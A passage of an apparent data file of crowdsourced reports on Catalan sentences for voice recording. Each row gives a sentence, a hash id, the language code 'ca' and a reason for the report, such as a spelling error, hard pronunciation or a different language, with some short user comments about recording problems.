persones, tres dones estan a prop d'un petit venedor ambulants. 01d44734554629bd1297da9a02d8e8c80068a32f7678e55f1b8ffc21bec89d99 ca grammar-or-spelling Els altres set lluitador van ser deixats sense feina. 01ce96efc63143383e0d7444f500404a3092cd18b2a34dfc94748b9445b452b7 ca grammar-or-spelling L'extrem sud de la conca se situava Dalmàcia i Mèsia. 01c6cf745526bb6805ac091a91bb52bf3c46d3d85d540552a8849af6314ba734 ca grammar-or-spelling Un grup de persones, tres dones estan a prop d'un petit venedor ambulants. 01d44734554629bd1297da9a02d8e8c80068a32f7678e55f1b8ffc21bec89d99 ca grammar-or-spelling La seva religió és principalment cristiana, tot i que encara tenen cabuda els elements tradicionals. 01dd9bae52f686be89ef48982eb87ceae0fbe0e3ff9cef7755f388ff893e54d7 ca grammar-or-spelling demà passat he d'anar a Sant Guim de la Plana amb autobús. 0194dbd070b1c576aa1e9d2856fad325e77e8abc5097e71b162e1321d2a473ed ca grammar-or-spelling Pertanyia a l'orde de predicadors. 01a5927718d5f83742bff47b4e22a17e7b2dae20307f0a77db3dfcd8e11704de ca grammar-or-spelling Molts d'elles eren nens o adolescents. 01ffb9386cfd16e0566dc594c98a56b9d70d0c6bc36ec76445bb3a4c219ed3ec ca grammar-or-spelling La gerra estava a sobre de lleixa de la llar, perquè tothom la veiés. 01ce39d38ee6d34837317d37042dde52bece715eb652a1746015a9653102ee5b ca grammar-or-spelling Les valves són llisses i brillants. 01dc169dbd675b52a88b5bbd2d7a5ab8b31ace5f6dc2100dcb8b09080e2ee6f0 ca grammar-or-spelling Era un mestre que no més n'era mig de mestre. 020a4b928ff8184d9594e088565128ccbdfc7817005ae579d017cc13e193be41 ca grammar-or-spelling La meva mare de huitanta anys encara balla com si en tingués díhuit. 021144d98423faccaaf6a54de7b0cf3137cc3324eabb8186563d877fdf02bc6b ca grammar-or-spelling Al nord al comtat de Harris està la ciutat de Houston. 020133600c425423c1bbf48bd4f1ce39b45858d3eb79040892dec620b6722f57 ca grammar-or-spelling L'home que és com té de ser no té temps d'encaparrar-se 022003e964148b53645787216f7d78b8a7c452b750b49b5e29afbcae8ce69e49 ca grammar-or-spelling Arriba aterrit a un forat negre, on estan a punts de ser engolits. 01ef609779a30f4d95ffad455657c2a4dc146fba1a000de1ca3f7253d0a6bb3a ca grammar-or-spelling Els problemes de contingut i arquitectura de disseny inclouen la pedagogia i l'objecte d'aprenentatge reutilització. 022e79e78eb18dfedf21b9ac6cd71b8aff790f333ebdd72fd74fbada21d1abdb ca grammar-or-spelling Van riure's de l'espectacle i el consideraven una festa només per als que hi eren presents. 02532bb460a64a52ff16692fda3cf37e330ce1e472fb041326c7343372c514d4 ca grammar-or-spelling L' vaig preguntar si la Sra. Jellyby sabia que s'havia fixat el dia del seu casament. 02342253f757ce341b4351a18e414af8a956706e4cde7a3486912fa6617aa344 ca grammar-or-spelling La part nord de la localitat es troba al Consell de Districte d'Orroroo Carrieton. 024484c945620ea87dc54249931596b9f1a3eb19a07b3365a1deeab4c256b1f2 ca difficult-pronounce Es caracteritzen per desenvolupar-se al voltat d'una doble membrana lipídica. 02dcc2d8b216c3ac090bde77aa9aed80b220c69d40fe8a8aea4b643ae80eb9d0 ca grammar-or-spelling En aquest registre la processo acaba a la zona del temple. 03186554360cd2b759a320f83e5a644b0a555ce682dbd330810f434d2dd7ab8c ca grammar-or-spelling dissabte hauria d'anar a Llobera. 0359f774d6a29f0fa5ef16a94e3664fa1c3fbef3dd891e2abb0396914058419a ca grammar-or-spelling En aquest registre la processo acaba a la zona del temple. 03186554360cd2b759a320f83e5a644b0a555ce682dbd330810f434d2dd7ab8c ca grammar-or-spelling Malgrat to, també són capturats, i els tres són condemnats a una execució pública. 039f1a2d9152cfc1e4de73107ed87b8670edd47b21a1511e1f3b3b63ead11dcc ca grammar-or-spelling Celta, Apalatxe, Old Time, Bluegrass, Americana i Western Swing. 03d319d01dcb19a0431464a723c25ade0581eb024b8a65e75326968f9c560f2e ca different-language La funció fisiològica de la proteïna prió segueix sent una qüestió de controvertida. 03e9fcc35f875778b927989985de8137f9bc0245ae04c4d2f6d6e1bab69991c1 ca grammar-or-spelling Al sud-est es trobar el petit Bergstrand. 03f831d721fb947d1c41bda982e17ce46a2a9e0ef762aba862bfffbb56a80cf6 ca grammar-or-spelling Jo desatapeïsc, contrabat, derive, desbrave, cresc, desbordisse 03e96cee0b9ef06ff036ca048caee6b116195d281893a528fdc72c8825236362 ca different-language Jo desatapeïsc, contrabat, derive, desbrave, cresc, desbordisse 03e96cee0b9ef06ff036ca048caee6b116195d281893a528fdc72c8825236362 ca difficult-pronounce Filla de James Edgar Hunley i Esta May Hunley, va néixer a Acme, Alberta. 040fd71ffacff45e33077fa00d5f529f4634f721fe2afa2225369b218f85b977 ca difficult-pronounce Amb els anys, les cintes de vídeo i els discos òptics es van afegir a la gamma. 040ff18583d637d1cc8ae41a61fcdb9f8fdd3df8c87160fbc5da574de1275160 ca grammar-or-spelling Jo comissione, cascavellege, desarregusse, confeccione, cronometre, decore 03ed8e4cbe2689b10769131f9e99e711fd1121c82ce05485f679cf1f7cb39ada ca different-language Va acabar la temporada jugant amb els Pirates i va aparèixer sis partits d'eliminatòria. 03e3b55a25cfaf48fa3b2a409c522d7436c5a8cf14ac2b0bf085eb2681e7217d ca grammar-or-spelling Els diamants de colors amb tinguin una saturació major que la d'aquesta escala es coneixen amb el nom de diamants "de fantasia". 0428ee6e5e904615f067c05a9f9e1a56740e98d2178086b08583d9244f5cd82f ca grammar-or-spelling En el seu dia va ser amb considerat pel mateix Aristòtil. 042edcd3a936f0ec48d9daf6526cca215e057b438884e2d22ff2d63dc37cb877 ca difficult-pronounce Un dona prenen el sol en una platja de sorra a sota d'un para-sol 0458af2f4c97955a1cc9f27952e982a05397847276913a9292fa517e2d38b78b ca grammar-or-spelling És conegut per haver estat el primer jugador peruà en marxar un gol de tisoreta. 046b93e32cf09d5e94645391fe8902014433369c695a1bb68204ea2ccd82b7ae ca grammar-or-spelling Es tracta d'uns elements de façana que recorden molta una torre. 0454081d7865f4dca389b419a22fcbc29603d8ca73a9437bf1aa379d6ac4d087 ca grammar-or-spelling Va dirigir pel·lícules de tota classe, sense cap tema que fóra la seva marca personal. 04795adcc8035fad181ba81f83d629e9238c120c61720dfd0d3ad94847cd8c39 ca grammar-or-spelling Va realitzar els seus propis experiments dobles cosa que millorar-ne la seva precisió. 048588d124f34243aa6dd64f2fba4fe13bece78261ccdcd41b6e7121688166a8 ca grammar-or-spelling Els nous colons també van anomenar la illa "Huvarafushi". 0461c2a0686a6b6b30d8dbdfda1d072701f852469664cf06d1e0ab0989971c96 ca grammar-or-spelling L'elecció d'aquestes grans famílies acabaria dividint també als seus vassalls. 048538d9a9a688282f6ddecf1e43a8a0c1fca7f619d0a9639dc9633782492a6c ca grammar-or-spelling He d'anar del carrer de Nou Pins a la plaça de Boston. 0493a1b92cf3922c2549841873d7d76c71730bdba65620addf572fbc2d13cc65 ca grammar-or-spelling Alguns nomarques van agafar títols pretensiosos, de vegades imitant els de la cort reial. 041cb486dc456a8c0156b01c2ef025e65a00c70cef5e2b07a3d30a2da8eb0a0e ca grammar-or-spelling En el futur, n'hi haurà nous trens. 045f84e89eb111501d44266b3af9250a8464290a6b1d6113f12839f170ceac38 ca grammar-or-spelling Com a curiositat, Kerr pronuncia en anglès el nom de Sol incorrectament i li diu "hope-y". 04ceea3345e7331ca00e8772504adf80bf2793e3473ab960e14219a9718d5d19 ca difficult-pronounce Amb el nou repartiment, es van tornar a doblar episodis antics amb les noves veus. 04e7dfef97c8240bc7ae8fc068b4c8069264f397483fbea76403f43a50039e4c ca No el puc enviar Els conjunts de camuflatge es fabriquen de varies maneres diferents. 04f4dc930e042b4d065e8a9149d67c55de1bc2bc56b8cf91823fee68b56ab34b ca grammar-or-spelling Era el tresorer del príncep Sicard de Benevent i fou proclamar pels nobles. 04ca7f707609d126bbd2dda4f130bf13518273fba624202452ef70031a336f1b ca grammar-or-spelling Als primers hi ha una ran porta central que dóna accés a tots els interiors. 050b20a1994c54634aced16d3357cd8d8a326e0afc2e1aa3dfbf88b114547373 ca grammar-or-spelling En aquell moment també es van adonar que no hi havien un conjunt uniforme de regles. 046527d048e6d05c176104cecce3be555adc66f5afc6101eda1a128dee9147f4 ca grammar-or-spelling Cal remarcar que hi ha un bon treballa de maó o totxo. 053409eff0e817548f843e7b18d6324f83ea9e92d1b9cd4afe93de384615cf4a ca grammar-or-spelling S'han jugat tres partits en casa a Edimburg i dos a Glasgow. 04ec4b3359b8bbcc01761a50b05d15935d2918d8460ea02b60a5cee208a7e1f5 ca difficult-pronounce Quina documentación em poden demanar per donar-me d'alta com a autònoma? 0569fba267566eaadc3b458dfff67f4f9b976693187ac7c8ca48b88e31c2f47e ca grammar-or-spelling Ala gravació, el rocker pioner Little Richard tocava el piano. 05f43dec8ef3152aaa29dbb978cfb42a63ddd3e08fda835b9c51a559f5b3acdf ca grammar-or-spelling És casat amb la Darla i té quatre fils: Hans, Lucas, Josh i Logan. 062a07fd27134f5570adece382975a047bc8c54394ff467da4b36baed5e8e512 ca grammar-or-spelling La vida de dos parelles infeliçment casades entrellaçades a Montreal, Canadà. 062d026253bc63796d23ad84a5504cd205ef2086083ee8ba5d27f1adfc020b82 ca grammar-or-spelling Els efectes dels nivells d'esterol de la planta sèric superior són fins al moment no s'entenen completament. 06559cafc7c8267e7012363ea984396b9d4ece33a46e0dd760eccf5c3c25f1c5 ca difficult-pronounce Kevin Abosch,fotògraf i director, va rigir la pel·lícula . 06527f16fe064fd638844d6f7ba8d264cb9f24c24f88c0992923e66d312490c6 ca difficult-pronounce El govern nacional ha llençat campanyes publicitaries en un intent de frenar la pràctica. 0675f2a7e5e95e1b07e829279ac4e77d4114fe7db1e809337597fd382b0f0142 ca grammar-or-spelling Sostingut pels pilars, un frontó semicircular, hui dia desaparegut, coronava el conjunt. 0652735083a07262ccd0988b9edb5bc4ac682f8dc416a62406b3596333408df5 ca grammar-or-spelling No soc el teu majordom personal, Jake. 06770ec0b9bd3e26460c3ee9afed14cf0b6f0f44b90d4af2efc057567f783b78 ca grammar-or-spelling Aquest és el barri millor qualificat del país. 0666eb193e5f3af0806b454f4734d7c016577f80bc05e8397ed42bc406cfcad8 ca grammar-or-spelling Molts capitans can intentar caçar-lo després de passar pel cap Horn. 0661beebcbc4975eb191629c8ab9b5e739ee105f1643914d6158083e7c73af8d ca grammar-or-spelling El corol·lari d'aquest estat de coses és que es produeixen escasíssimes opcions. 068cca29c6d081f29b723d67168334f632f113d6f6c51ba14539eac2d0d5f758 ca grammar-or-spelling Molts capitans can intentar caçar-lo després de passar pel cap Horn. 0661beebcbc4975eb191629c8ab9b5e739ee105f1643914d6158083e7c73af8d ca grammar-or-spelling El parc del Gran Canyó està situat al sud-oest dels Estats Units, al nord-oest d'Arizona. 06a6d54e55c668ab76790b2bef082a051d61467c53ac8cd5f252210e0d295a6d ca grammar-or-spelling Què hi ha al carrer Josep Pla cantonada Bergnes de las Casas? 06aed4fd41f967b2107e9f3a4d9eb60d86c908058021de686b8eb49146208fb7 ca grammar-or-spelling L'aparell té la temperatura graduada. 06b5e766015e9f15e0176b585d4f7d086e725c0c47712f01cce56240a00f3b82 ca Diu que té el volum massa baix i ho dic cridant El nom ha estat traduït a diversos idiomes. 068af9f8cc8a6dbd342fe221ee08376011cc6f06317bff81a008871522eff06e ca Ho dic cridant!!! Hi havia en general diversos copers. 06de1361077efd83565fa093a21bf406ab5653aa49adf64eed0cd84b9ab8adba ca grammar-or-spelling La cultivació de maduixes és un dels principals recursos de la ciutat. 06d97cd8b6e8ad5551ea6d839cf3ddcc5d85618ff661be9c691d91426009a5ab ca grammar-or-spelling Els entorns són sempre el més autèntics possible i determinen l'acció. 06a0c92093ce1f4436d7c4f978e9a6b7f38fec9a345e5c3f65c8a103c033e18d ca grammar-or-spelling Dominà, més que cap altre dels seus contemporanis, l'organització dels diferents elements del paisatge. 07429ffd33f53b19339998d579a85551cd7b6661a263829b449de8c1f4741a3b ca grammar-or-spelling Es diu Raül: erra, a, ela. 07ab07aa635c78f06391186666531e0cddb63b5807fb2885ce0e5618c7c39dda ca grammar-or-spelling Atenció, el llibre el volen molt poc fet. 07b4e57669c46a318f9a017dacc4b489bb004266f3dc3aa064cf849ccae63a33 ca el llibre o el llibret? En aquell temps, les relacions entre homosexuals, fins i tot entre adults amb consentiment, era un delicte penal. 07d165921a7e3d9ac754efdef1cc6d1228adfb4d78281a85d25f7ffca7a1ab3b ca grammar-or-spelling M'agradaria anar a Castellar de n'Hug amb trasport públic. 07c63fb394d94b90d35e5911016198429587f5aa3fce93c8ce5f03260818bab7 ca grammar-or-spelling El subministrament de fil ha sempre limitat la sortida d'un teixidor. 07ed5467efefc2e06729ccbbdda27f05ca3c155d9595270391e9acd86066e036 ca grammar-or-spelling La comunitat de Five Towns és coneguda a la regió per la seva col·lecció de pobles i llogarrets rics. 080f7a164b550b707d68b7364995e73f05d39996e4ff7479e4a5b31098b4d2a7 ca grammar-or-spelling L'auditoria de iuans va ser posteriorment degradat a un Ministeri i incorporat a Yuan de control. 0852b8749f20c31b68fa643e403dd7084ddc464e82ac98e3d66b0b9f278697a3 ca grammar-or-spelling Les carreteres d'una sola via sovint estan tancats durant la reconstrucció. 083c072c0e7abcfa722999543aa8b88884ca4a09e278986d48eb8fbf4aa411d3 ca grammar-or-spelling La meva neboda de huitanta anys encara balla com si en tingués díhuit. 08d4bcbe11dd0137d9b5b02e1bcbd4fd23ed70ca57873bece3a7d5f3c7f5ae7a ca grammar-or-spelling Aconsegueixi allà, i va quedar al voltant, agafant patates. 08f279d24a1962f021557066c6aadcbebc88a2f20db54a471b48680cbb60cace ca difficult-pronounce Molta gent es va refusar comprar aquesta i les novel·les posteriors de Johnston. 085ea70d40452b644a61a6bb097e9d12875f155c9812c41a59710ede11c2388e ca grammar-or-spelling Dels seus cinc fills que van sobreviure, es portava millor amb el els dos més petits. 090fcdf263928dd831ee3a902892a83742eb808ec9c09bbf53fc77a9cb4d72f1 ca grammar-or-spelling Normalment es fon amb precisió una peca d'estelita, de manera que només calgui una mecanització mínima. 08e866956e5dbd207f19a51079dcb02a58ec081ea46c7fb33c066fde1e763697 ca grammar-or-spelling En la filosofia hindú, segons el tantra, el yoni és l'origen de la vida. 09f0abc51bc89028c628fafa8f87ff857dead70a058c80eeb45571b82ba906c5 ca grammar-or-spelling Hi ha constància de seques moneda batuda a Catalunya en diversos llocs i èpoques. 09d4c4ce94043cdbf47c28a9d57423170308ce077820f6229e666e420ddd0c6f ca grammar-or-spelling Hi ha constància de seques moneda batuda a Catalunya en diversos llocs i èpoques. 09d4c4ce94043cdbf47c28a9d57423170308ce077820f6229e666e420ddd0c6f ca La frase no té sentit En la seva forma pura és un sòlid cristal·lí blanc. 09f35e1a547ef9663be2d7c5726a801f6cfbbd9a44a8621a8cca72a1cc36d9de ca grammar-or-spelling s va aprovar en tres llengües: irlandès, anglès i francès. 0a09d3e0cc68e76ce002b981543577fdd224218481f08a07fc8354d8e553a65c ca grammar-or-spelling Una noia amb una camisa bronzejat i somriures blaus, mentre que la pintura 09ff02099d68e8d7daf473cc964e748b891abe90e9e441276a5e8cdcf5c36c1a ca difficult-pronounce Jaimito Borromeo és un comediant nascut a Barcelona. 0a11bbd5ca937e865fc2360a5e3d7544d418670c4d8d9735c2a9257bb5d1d5cb ca Em diu sistemàticament que el volum d'enregistrament és massa biax Va nàixer al si d'una família d'humils artesans. 0a4839b00a458a3021c00a9598f8e4601a998f8520825a84822aa7dd7d262ac8 ca grammar-or-spelling Per amar a Miramar has de fer molta porcada. 0a8e3bdbcf051d07232b31b2f7c58c54e619bd94745a8b6257c9650ba6894366 ca grammar-or-spelling Més tard va transpira que havia estat víctima d'un vot tàctic. 0b76906e5d43cf8dc782035eeca8513287d8ab57b99c92b153e240ddcd6c09f8 ca difficult-pronounce Tots aquests exemples signifiquen el mateix, però també emfatitzen coses diferents. 0bade1fcbc0aa2b4a0e6ad92fc00aa398321464ae0268a87932f64a91fa5a3a0 ca grammar-or-spelling Més tard va transpira que havia estat víctima d'un vot tàctic. 0b76906e5d43cf8dc782035eeca8513287d8ab57b99c92b153e240ddcd6c09f8 ca grammar-or-spelling L'uniforme gris de camp, el rang va ser usat amb rivets de plata collaret. 0bb6485ee56241038189d9f81255ea16175b9c231b2dcd0c93ba6309ebfe01c1 ca incoherent "Shikimi" dona el seu nom a l"àcid shikímic, una substància que també hi és present a la planta. 0bbf5ab54cc7f19c5ddcc7579e24d20ea4fa5f9562851ca6f6740e840f1aabfd ca grammar-or-spelling És l'actual executiva en cap de YouTube. 0c4b4bf71e65a43d330e84dd58cfeca1910f5eff09bc2d9a8a9845bb430a1392 ca Diu que el volum està molt baix Des de llavors, el llac s'ha transformat de l'ajustament postglacial després de la fosa del gel. 0ae8c3ec38c54884b45b2619d71682b8e4b5a6f3092adacc70f072d85b46e118 ca grammar-or-spelling Posteriorment el Govern va condecorar amb la Medalla al Mèrit del Treball. 0c9da0ea528d554df0c759089564b18f9d187aa23118d54c4da45c5ceaa25d33 ca grammar-or-spelling Es tracta d'una relació obligada o de simbiosi en què ambdues depenen una d'una altra. 0c7656b1a82339b134c14372fa76bfe0f7f41f8d2f85036fc31c6bcc9279db8d ca grammar-or-spelling Observacions fonomètriques d'aquest asteroide ha donat com a resultat discrepàncies en les estimacions del període de rotació. 0d18c0ae591c83cff75365295debb133e018ed7ac0d47b6626ce3ab92f1a6b70 ca grammar-or-spelling Les seves posicions han estat descrites per erudits i comentaristes com populistes, proteccionistes i nacionalistes. 0dc0a244dbb808204a0bf3e6413000b7bf5bc2082ae10eb392e8b9691516974d ca grammar-or-spelling Sobre l'origen del nom de la forest hi ha més dubtes. 0e039ef860d4136ec9b85b110ed9257167d7864556f4f57c39478dbd947b1174 ca grammar-or-spelling Generalment preferida pels nens, es ven embolicant sobre un palet de fusta. 0dd862e3bfd67a1ad73b13c3acd9afecad3d951077d4a4417cd4d5ed815f63b8 ca grammar-or-spelling Va ser professor de les universitats de Montpeller i Perpinyà. 0e002d2dbf6de76189c292ff085fe2b38446b40c1369372e52066fbcd8d955d8 ca Ho he fer cridant Aquestes característiques fan que aquests fonts siguin útils per a sistemes de fibra òptica i tomografia de coherència òptica. 0e6ab01e44425f6ecaffc0b0d890b2dfc3f039806fa728f2b6f28d4013d06a1f ca grammar-or-spelling Dues persones van en un cotxe de curses de color taronja. 0e9a05d86838ab788e6d2b05498f0cd26c765817885bb934379b8d84560e8313 ca No sé com grabar-ho Algunes parts del rei flueixen a través del Jefferson National Forest. 0e4ee07355dd2f92dd93e2cecfc3285d70e44fd01f581c2ca2219d73e708e909 ca grammar-or-spelling Des d'aleshores, la població ha augmentat gràcies a que les comunitats que no estaven incorporades es van unir a Pike Road. 0eb70e83bf55ae0338f0f588d3b9906773fd4dc6dcc7cecc7fb2789ad9be6e0d ca grammar-or-spelling Les llavors són l'aliment per excel·lència d'aquests ocells. 0f12fdc1177f704a657b7131e31d0344266a0d9e62db795168fa7c72c761274a ca difficult-pronounce Va ser escola i després monjo. 0f0fd425e20084ad2fe4364054f17a3070423d97044267945c4fe13f8c03c170 ca grammar-or-spelling El pidolaire estenguè suaument els braços. 0f8743a1e12fe5b14e1c4673b1e55c306000ff99a9e8279ea64994622638cc7a ca grammar-or-spelling Al mateix temps, un exèrcit irrompre a Anatòlia. 0fac6a945a9949412db5d75cdc1a8e7c089771a9a5b7fba653929a3cac35b3a9 ca grammar-or-spelling La banda sovint tocava als hospitals i al soterrament de soldats. 0f4919e5b02e13f134726f006b31b2241abe283d77e99ac06934ee67a4ec90ab ca grammar-or-spelling Semblava que estava bé, però estava massa dèbil per continuar la lluitat. 10416edb4d9620bdcb8d5329aeacc2f5f1651c69bbd2ed8d5a25770a8702dd6a ca difficult-pronounce Nebrija va escriure sobre diversos temes, com ara cosmografia, botànica y teologia. 106b5a04643eddfebe093621691fc4f1e357a099df17c77fccf70e4e0e0f8681 ca grammar-or-spelling El disseny dels mateixos models tenen un motiu de foc prou pronunciat. 10393819759102d902a7af831915720de3eab0b98019f20cc4508bad88262131 ca grammar-or-spelling Un doble àlbum recopilatori retrospectiu amb enregistraments descartats i pistes en directe, Hoy-Hoy! 1095165c8d6a3837da2033e86f2e949a8447a13de067e4bc7cb5b903b27e7271 ca grammar-or-spelling Nebrija va escriure sobre diversos temes, com ara cosmografia, botànica y teologia. 106b5a04643eddfebe093621691fc4f1e357a099df17c77fccf70e4e0e0f8681 ca grammar-or-spelling Serveis per a ajudar a decidir si llegir-se l'article sencer al potencial lector. 110c368861aad7eac9f98a174d63d3b9c1e944d189efe72d73a78aadded94081 ca grammar-or-spelling Un natiu o un habitant de Galloway s'anomena "gallovidian" o "Galwegian". 10d982f4187983d9a2d29db4b7e7312e4f3ff6a4e01ed69d119ec1829f55f0be ca grammar-or-spelling Com a conseqüència d'aquest esdeveniment, es va creat l'Administració Nacional d'Aeronàutica i de l'Espai. 10de60b6f05512a74b534512de309c7fede9df72c1e82e777dc658f284b52fdf ca grammar-or-spelling Henry va acceptar a Barton perquè les seves profecies aleshores encara donava suport a l'ordre existent. 1117cec7947a256f998f9384f51127cbb8f86b9c01e03167551136e684ff85a1 ca grammar-or-spelling Els turons, les valls i els petits planes són elements que caracteritzen la nostra geografia. 12f9d3fb3b4c74197acc7e7347a41845626880810ed655b2153963ea78027a87 ca grammar-or-spelling Un objector fiscal pot decidir la reducció de pagament dels seu imposts amb l'evasió d'impostos il·legal. 12a7416b51d9fa3ce38e13b0789d6a7b1b3971f5909ad35bd3a67bcfc5dc9422 ca grammar-or-spelling Es troben diversos abocadors de deixalles pèl que abans havia estat una àrea residencial. 12cc3d416b4a0994107055176638e94f65487fad7a15908a33a3078d515f21c7 ca grammar-or-spelling Vaig treballar duro en això! 12e9a76b068c5d26261516c9f45a199922cc17f94e09ca6ab9d64efb07582ce4 ca grammar-or-spelling És un matoll perenne que és pròpia de muntanyes i praderes assolellades. 12ee4c1d4c2973981e896eaac715bb1ee4df48e5c4df134cb04801b545373387 ca grammar-or-spelling Segons la premsa, només parlà amb el president sobre la Bíblia. 134d43a7bc021ae8e2279f744f0d6a9dfa501433b2a67bad42066925d65bcb93 ca No em registra la veu En hivern es torna pelàgic i habita tots els oceans a zones tropicals i temperades. 13a21dc4abf2c2df46f652939dfcc7a64e2a6e6c7b8ffc89a02e224833de0414 ca grammar-or-spelling Un ciclista seu amb la seva bicicleta, que té una roda treta. 139f6bfb9df089f2dce8ccd92bca15e02f15b83a8313743fcab19e94682bbbce ca grammar-or-spelling Per exemple, és possible generar acetilè combustible si l'aigua se li afegeix carbur de calci. 13a389414426cc2948c79cf065c57e30a9c04a0ec5d7195fcee9ea3b3205d46c ca grammar-or-spelling Roches va defensar l'ús de la força contra els adversaris anti-estrangers del shogunat. 139e94023dc3a18ff20ff456fdef806e472c6ecf94cac3486bdfb558b8cf84ee ca different-language Levinson també ha treballat amb Simon Rattle, Ralph Shapey i Seiji Ozawa. 143536e25b928102f2cdca35f45d92f4b44d69d1625fd35e4dd7960fa1b045ce ca Hi ha molts noms estrangers difícils de pronunciar El primer pas en d'un dilatació i evacuació és dilatar el coll uterí. 143f4b0dac4dacc0f9db32a851b984c4eab3be97cc44601d90c6e6528d37a460 ca grammar-or-spelling És independent de el partit Nova Democràcia. 150f5a9b9100cc55825eb37841b943a2097efc6512f2b6d884afda706cd5da27 ca grammar-or-spelling És una masia de mitjanes proporcions i format principalment de tres cossos. 14e1351de402a49049fafe7a9f16eb4c8bf9fc8b3e58a65590d9905feed5ff1f ca grammar-or-spelling A més, l'efecte de la libració pot ocultar per completament el cràter. 153d5485365f0b7053b753f2703f7ca2c324c04cd71740ef19d6afcbadbbbe38 ca grammar-or-spelling A més, la closca està dissenyada per a que es fragmente quan rebi un cop. 1530017e88235e437567f0023345f9668b3ede216747ac7e3be49f58b9ec8e73 ca grammar-or-spelling Va néixer a Friburg, Sajonia, Alemanya i va morir a Bex, Suïssa. 149886ae7aa47cee12b06120eaf90421c46c44585ec98f6e770ed924450538fa ca grammar-or-spelling Depenent de sobre que tracti l'anàlisi, tindrà un nom o un altre. 150aea82ba8cd47cd706834c20c41909ac0ad53b09f0a34e0c950eef3d2a623a ca grammar-or-spelling "The Peru Report's Guide to Top People in Peru". 1506d7210fe3564808743b30ad912d85580a638032c8d2aefec2090a585f2d74 ca different-language "Honolulu" també té un premis anuals de menjador anomenats els premis Hale Aina. 150c1f4c8392b9963cd1f3453dcabe69d8a675d725ebdf22be1fbf40323ee534 ca grammar-or-spelling Mrs. Tanahashi va introduir Nyogen a la poesia haiku de Soen Nakagawa. 153ec6465825aca402d86007a0f8a0f7ea71e86fcfd70409873b13af154aec26 ca grammar-or-spelling L'oxid d'escandi reacciona amb la majoria d'àcids quan s'escalfen per produir el producte hidratat esperat. 155ba2f1bc1e8037334e19106b88d8ab5a3c7fe0a4c8ba5d29f86289c991ac2b ca grammar-or-spelling Cada dia hi han més casos de miopia diagnosticats. 1529721b6fe03f00d81f8ab5154f9f5ed2b8c8a5ce26e888c68b2854426c1a59 ca grammar-or-spelling Això no obstant, l'acord no prosperar. 15001c243fe079995bf4d347bfa4704d21b21607cd24020e9741a52cf7e2b533 ca grammar-or-spelling Tu que ets l'autor dels grans anàlisis psicològics 15b2953c12557bd15cf4b09e904808e4cd1eaa01175fc11209a0c9cbd17a42da ca grammar-or-spelling Quin és el camí més curt per anar al carrer de Llança número noranta-quatre? 17465781757f1538b84b7093043922ff165427b799f6c2036713e340ed9de90c ca grammar-or-spelling Quan passa l'autobús per el Bruc? 1742bad141b70f45666bbba96fd0725fe482198947dc30949c79ffe00c4f466e ca grammar-or-spelling La seva música també és molt popular al Portugal. 173a45d809f914bc77e229cdc41101a4ef01f28bc21d74f8d3b96ffc07d8a473 ca grammar-or-spelling El cor hi ha una filera de cadires de fusta fosca, proveïdes d'alts respatllers. 17554cced8d2a097dbb293340c8a30c29d1ef12fe77e710c4a98db7de23d5944 ca grammar-or-spelling Imatges d'aquesta pel·lícula es va utilitzar més tard en un anunci de Coors Light. 17633b708e8753b721cca45a9507ea27361365b89272b0f31b862b4e8d7f6a4f ca grammar-or-spelling Algunes versions del senzill de la cançó original pot trobar-se amb aquest nom. 17a199dc99d4f9c4352c12630897d165ce05f214268fafa2361f85d067316aa7 ca grammar-or-spelling Tomàs Buxó i Pujadas va ser un compositor, pianista i profesor de música catalán nascut a Barcelona. 16b1ea2b11386d7d2ca2a2306a83887ac4d4f87eb23fb493e1294964b8c18b51 ca grammar-or-spelling És en una de zona molt concorreguda pels excursionistes de la Catalunya del Nord. 17b57c14a3214c185ef3028cba02d9cac3b23178092b8952734b3678fb4ed531 ca grammar-or-spelling Aquesta fou la primera medalla d'or guanyada per un esportista representat Nova Zelanda. 17b96e92009ba1807ca065c09e620ff99cc83f365dc8c2c32c4784ce35ad341f ca grammar-or-spelling Les condicions eres dolentes. 17b5029ef475657f6560aca58d9dc4bc3b1869af06363115ae31e440714c0dd2 ca grammar-or-spelling La sèrie més va ser emesa a Taiwan i Singapur. 17ba7cf0a61d6115544a607cbf12cda426e1e3b8e4219c7adb2290753cffc6bc ca grammar-or-spelling També s"ha d"adaptar a la gramàtica per Venpa. 17a82ac13edff9941a2053035804a37b921853e9b4889d1af9632276fe33d835 ca grammar-or-spelling Com que no podia tocar instruments, o bé van aprendre ràpidament o van convertir-se en vocalistes. 178ecf499793eabb94c4c4cf1ee6fbe7552a5b53fb7162afb62157bda4f22d48 ca grammar-or-spelling Aquests fets provocaren una rebel·lió de les tropes enviades a sufocar una revolta a Frígia. 186af9ec8ac3b67dce487691e241885190cfac4b664639b2c92e94ec1e88f824 ca grammar-or-spelling Els coberts utilitzats en granja tot en les indústries poden ser grans estructures. 185e618579ad8ecdc7e9cc05b7a593647a32540dd452a84c3f76d082af6e4068 ca grammar-or-spelling Les ventes al mercat japonès de música van continuar creixent. 1883b3b534bdd34efb933a2d62b6bf83820bfc0c487a0bbfdefc18383ff9a280 ca grammar-or-spelling El Pot ser mesurat. 190d28350dac9555fa8625c83289747f8f60361c2fdc225b4e77ea554289668f ca grammar-or-spelling Per tant, l'arquebisbat es va convertir en el Metropolitan de totes les diòcesi de la província. 18faf216b22018df7870238942b2aaf69a3f4987e68ce6e0b189307106c55de4 ca grammar-or-spelling Al Michaels i John Madden tornen com comentaristes de joc. 190587315d56a5c4e74fe6753386091765d557f37a3fd417add48945625cd8c6 ca grammar-or-spelling Profetitzava dins de la secta herètica dels Marcionites, en la que estava integrada. 19244423ee02561ba3e0c537cc0288226d8155a3cfa285bdb59cffbb2892f81a ca grammar-or-spelling Van ser oficialitzats per l'Estat els escuts de Mutxamel, Sant Vicent del Raspeig. 19545f35622b99e615715da92bd6994ba5b6f4d5bc2d38af374ba3b65d4819d7 ca grammar-or-spelling A més, un usuari bloquejat no pot ja seguir l'usuari que li bloquegen. 192a88f4d2a5cc94b5bef89364669f0c5c178da647a94e7646dffe308d54f5ee ca grammar-or-spelling No era un musulmà estricte i bevia vi, motiu pel qual fou empresonat alguna vegada. 190cab7eac8ab4d3b491b827f9637fb13173f1a38fe74957af7dffdc25b91c0e ca grammar-or-spelling Un tipus d'aporepressor és el repressor trp, una proteïna metabòlica important que està present a les bactèries. 192cef0330529abf119ccd61936c5916bb519b6a227976935252b19c03a6eb35 ca grammar-or-spelling Schiefner va deixar la seva marca en la recerca literària en tres direccions. 193100a9da49c7176b066f0490fd6cc8709b475058979562a4ed326114a08fae ca Al apretar el botó d'enregistrar queda bloquejat i no puc continuar Sembla que aconseguir salvar una part del patrimoni mobiliari dels Cordelles. 